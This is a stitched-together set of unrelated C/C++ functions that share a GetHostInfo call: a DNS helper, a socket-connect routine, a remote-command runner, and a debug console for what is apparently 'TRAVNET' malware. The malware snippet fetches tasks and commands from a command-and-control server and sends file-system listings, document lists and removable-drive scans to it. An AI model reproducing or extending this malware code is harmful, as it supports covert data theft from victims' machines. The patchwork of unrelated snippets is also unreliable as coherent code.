std::string AppSecInc::TcpIp::DNS::GetHostByName(const std::string& name, int family) { std::string hostname; std::vector<std::string> aliases; std::vector<std::string> ipaddresses; GetHostInfo(name, hostname, aliases, ipaddresses, family); return hostname; }
void AppSecInc::TcpIp::DNS::GetHostInfo(const std::wstring& name, std::wstring& hostname, std::vector<std::wstring>& aliases, std::vector<std::wstring>& ipaddresses, int family) { aliases.clear(); ipaddresses.clear(); std::vector<std::string> aliases_l; std::vector<std::string> ipaddresses_l; GetHostInfo(AppSecInc::StringUtils::wc2mb(name), AppSecInc::StringUtils::wc2mb(hostname), aliases_l, ipaddresses_l, family); for each(const std::string& alias in aliases_l) aliases.push_back(AppSecInc::StringUtils::mb2wc(alias)); for each(const std::string& ipaddress in ipaddresses_l) ipaddresses.push_back(AppSecInc::StringUtils::mb2wc(ipaddress)); }
std::vector<std::string> AppSecInc::TcpIp::DNS::GetHostIpAddresses(const std::string& name, int family) { std::string hostname; std::vector<std::string> aliases; std::vector<std::string> ipaddresses; GetHostInfo(name, hostname, aliases, ipaddresses, family); CHECK_BOOL(ipaddresses.size() > 0, L"No IP address found for " << AppSecInc::StringUtils::mb2wc(name)); return ipaddresses; }
int main() { PRINTDBG("[TRAVNET-CONSOLE]\n"); PRINTDBG("This executable is only for debug purpose.\n\n"); PRINTDBG("\n[INFO]\n"); GetVolumeSerialNumber(g_szVolumeSerialNr, 260); GetHostInfo(g_szHostname, 260, g_szHostByName); LoadConfig(); #ifdef _DEBUG CHAR szConfigPath[260]; CHAR szWinDir[260]; GetWindowsDirectory(szWinDir, 260); sprintf(szConfigPath, "%s\\system\\config_t.dat", szWinDir); PRINTDBG("Config file : %s\n", szConfigPath); #endif PRINTDBG("Temp file dir: %s\n", g_szTmpPath); PRINTDBG("UDIdx path : %s\n", g_szUDIdx); PRINTDBG("UEnumFS path : %s\n", g_szUEnumFS); PRINTDBG("EnumFS path : %s\n", g_szEnumFS); PRINTDBG("DNList path : %s\n", g_szDNList); PRINTDBG("Stat_T path : %s\n", g_szStat_T); PRINTDBG("System dir : %s\n", g_szSysDir); PRINTDBG("\n[FUNCTIONS]\n"); PRINTDBG("GetTaskFromC2 : %s\n", sc_szTasks[GetTaskFromC2()]); PRINTDBG("SendCMDRecvToC2: %d\n", SendCMDRecvToC2()); PRINTDBG("GetCMDFromC2 : %d\n", GetCMDFromC2()); //PRINTDBG("SendFileToC2 : %d\n", SendFileToC2("local-test-file.txt", "remote-test-file.txt")); PRINTDBG("GenerateEnumFS : %d\n", GenerateEnumFS()); PRINTDBG("SendEnumFSToC2 : %d\n", SendEnumFSToC2()); PRINTDBG("SendDNListFilesToC2 : %d\n", SendDNListFilesToC2()); ScanDevice("E:\\"); PRINTDBG("SendUEnumFSToC2: %d\n", SendUEnumFSToC2()); TaskReset(); system("pause"); return 0; }
bool ParentProcess::Connect(int numRead, int numWrite, int *argc, char **argv[], bool createSockets, int failCode) { const char *mName = "ParentProcess::Connect: "; char **argv2 = *argv; bool rhostSpecified = false; int i, deleteCount = 0, port = 0; // Log the arguments. debug5 << mName << "Called with (numRead=" << numRead << ", numWrite=" << numWrite << ", argc=" << *argc << ", argv={"; for (i = 0; i < *argc ; ++i) { debug5 << argv2[i]; if(i < *argc-1) { debug5 << ", "; } } debug5 << "})" << endl; // // Go through the arguments and override the defaults. // for (i = 1; i < *argc ; ++i) { deleteCount = 0; if (std::string(argv2[i]) == std::string("-host")) { if(i + 1 < *argc) { rhostSpecified = true; hostName = std::string(argv2[i + 1]); debug5 << mName << "hostName = " << hostName.c_str() << endl; GetHostInfo(); deleteCount = 2; } } else if (std::string(argv2[i]) == std::string("-rawmap")) { if(i + 1 < *argc) { rhostSpecified = true; hostName = std::string(argv2[i + 2]); debug5 << mName << "hostName = " << hostName.c_str() << endl; GetHostInfo(); deleteCount = 3; } } else if(std::string(argv2[i]) == std::string("-port")) { if(rhostSpecified && (i + 1 < *argc)) { port = atoi(argv2[i + 1]); debug5 << mName << "port = " << port << endl; deleteCount = 2; } } else if(std::string(argv2[i]) == std::string("-key")) { if(i + 1 < *argc) { securityKey = std::string(argv2[i + 1]); debug5 << mName << "securityKey = " << securityKey.c_str() << endl; deleteCount = 2; } } else if(std::string(argv2[i]) == std::string("-noconnect")) { createSockets = false; deleteCount = 1; } // // Delete some arguments. // if(deleteCount > 0) { for(int j = i; j < *argc; ++j) { argv2[j] = (j + deleteCount < *argc) ? argv2[j + deleteCount] : NULL; } (*argc) -= deleteCount; --i; } } // end for i // // Now that we have connection information, create the connections. // bool createdConnections = false; if(rhostSpecified && createSockets) { debug5 << mName << "Creating sockets" << endl; if(numRead > 0) { debug5 << mName << "Creating read sockets" << endl; writeConnections = new Connection*[numRead]; for(int j = 0; j < numRead; ++j) { int desc = GetClientSocketDescriptor(port); if(desc != -1) { writeConnections[nWriteConnections] = new SocketConnection(desc); ++nWriteConnections; } } } if(numWrite > 0) { debug5 << mName << "Creating write sockets" << endl; readConnections = new Connection*[numWrite]; for(int j = 0; j < numWrite; ++j) { int desc = GetClientSocketDescriptor(port); if(desc != -1) { readConnections[nReadConnections] = new SocketConnection(desc); ++nReadConnections; } } } if(nReadConnections == 0 && nWriteConnections == 0) { // // If we are supposed to create sockets but cannot, then we // throw a CouldNotConnectException so we know that we could not // connect back to the parent process. // EXCEPTION0(CouldNotConnectException); } else { // // Now that the sockets are open, exchange type representation info // and set that info in the socket connections. // debug5 << mName << "Exchanging type representations." << endl; ExchangeTypeRepresentations(failCode); createdConnections = true; } } debug5 << mName << "done" << endl; return createdConnections; }
int main (int argc, char *argv[]) { int c; unsigned long hostaddr; FILE *cmdfile; char *cmdline = NULL; char *cmdtok = NULL; char *filename = NULL; char line[MAXLEN]; char tmpcmd[MAXLEN]; debug=0;verbose=0;errpause=0;skiperr=0;allocpty=0;envfl=0; timeout=5; enable_trace=0; tracelvl=0; errfile=NULL; envfilenm=NULL; appname = basename(argv[0]); while ((c = getopt (argc, argv, "dhpvP :c:f:t:s:e:T:")) != -1) { switch (c) { case 'c': cmdline = optarg; break; case 'd': debug++; break; case 'f': filename = optarg; break; case 'h': PrintUsage(); break; case 'p': errpause++; break; case 'P': allocpty++; break; case 'e': envfl++; envfilenm = optarg; break; case 's': skiperr++; errfile = optarg; break; case 't': timeout = (int) strtol(optarg, (char **)NULL, 10); break; case 'T': enable_trace++; tracelvl = (int) strtol(optarg, (char **)NULL, 10); break; case 'v': verbose++; break; case '?': PrintUsage(); break; } } ValidateOptions(cmdline,filename); if ((argc - optind) == 1) { hostaddr = GetHostInfo((char *)argv[optind]); } else { fprintf(stderr, "Hostname or IP is required\n\n"); PrintUsage(); } /* Get Username from effecive user id running the program */ GetUserInfo(); /* Initialize the Session */ InitSession(hostaddr); if (cmdline != NULL) { RunCommand(cmdline); } else { if ((cmdfile = fopen(filename, "r")) == 0) { fprintf(stderr, "Could not open file %s:%s\n", filename ,strerror(errno)); exit(-1); } strcpy(tmpcmd,""); while (fgets(line, sizeof(line), cmdfile) != NULL) { cmdtok = strdup(line); if (CheckLine(trim(cmdtok))) { sprintf(tmpcmd,"%s%s",tmpcmd,cmdtok); } else { if ( strcmp(tmpcmd,"") != 0 ) { sprintf(tmpcmd,"%s%s",tmpcmd,cmdtok); free(cmdtok); cmdtok = strdup(tmpcmd); } if (strlen(cmdtok) > 1 && SkipComments(cmdtok) ) { RunCommand(cmdtok); } strcpy(tmpcmd,""); } free(cmdtok); } if (strcmp(tmpcmd,"") != 0) { RunCommand(tmpcmd); strcpy(tmpcmd,""); } } CleanupSession(session,username); return 0; }